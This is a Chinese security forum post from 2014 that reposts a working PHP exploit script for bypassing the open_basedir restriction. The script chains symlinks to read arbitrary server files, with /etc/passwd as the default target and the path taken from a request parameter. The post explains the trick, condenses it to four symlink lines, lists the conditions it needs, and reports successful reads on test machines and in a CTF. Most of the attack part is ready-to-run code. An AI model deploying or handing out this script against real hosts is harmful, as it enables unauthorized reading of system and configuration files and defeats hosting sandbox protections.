php5绕过open_basedir读文件脚本

2014-12-25 21:22:05 1 1026
前段时间的文章了,老君让我转过来,在土司留个档,没看过的也可以看看~~

    这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目。所以也没拿到JAE、SAE测试一下。

    漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。

    他在评论里发过了:http://zone.wooyun.org/content/17131,漏洞详情在这里http://cxsecurity.com/issue/WLB-2009110068

    给出我写的EXP。在这里我说一句,我这个exp实际上只是个POC,遇到不同环境可能就不能用了,所以失败也别怪我的exp,很可能是环境不同,你自己需要对exp进行调整,要是不会那也不能怪我,原理我在文章里都写明了。

环境我说明一下:
1.windows下可能不能跨盘,win2003上没有symlink函数,所以也不能用
2.symlink函数不能被禁用,但你可以找替代函数
3.本文件所在目录需要有写权限,如果没有自行修改为有写权限的目录
<?php
/*
* by phithon
* From [url]http://www.leavesongs.com[/url]
* detail: [url]http://cxsecurity.com/issue/WLB-2009110068[/url]
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
        mkdir($paths[$i]);
        chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
        chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
        mkdir($name);
        chdir($name);
        $j++;
}
for ($i = 0; $i <= $j; $i++) {
        chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
        if (@is_file($deldir)) {
                @chmod($deldir,0777);
                return @unlink($deldir);
        }else if(@is_dir($deldir)){
                if(($mydir = @opendir($deldir)) == NULL) return false;
                while(false !== ($file = @readdir($mydir)))
                {
                        $name = File_Str($deldir.'/'.$file);
                        if(($file!='.') && ($file!='..')){delfile($name);}
                }
                @closedir($mydir);
                @chmod($deldir,0777);
                return @rmdir($deldir) ? true : false;
        }
}

function File_Str($string)
{
        return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        $randStr = '';
        for ($i = 0; $i < $length; $i++) {
                $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
        }
        return $randStr;
}
如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

    精华就是这四句:
symlink("abc/abc/abc/abc","tmplink"); 
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");
我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

    其中并没有任何操作触发open_basedir,但达到的效果就是绕过了open_basedir读取任意文件。错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

    我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

    树莓派测试:

   


   


    相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。

    前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。发现没旁站,流量是通过网关转发的。

   

关于作者

评论1次

要评论?请先  登录  或  注册
  • 1楼
    2014-12-26 18:54

    为啥“a/a/a/a/../../../etc/passwd,其实就是./etc/passwd“:)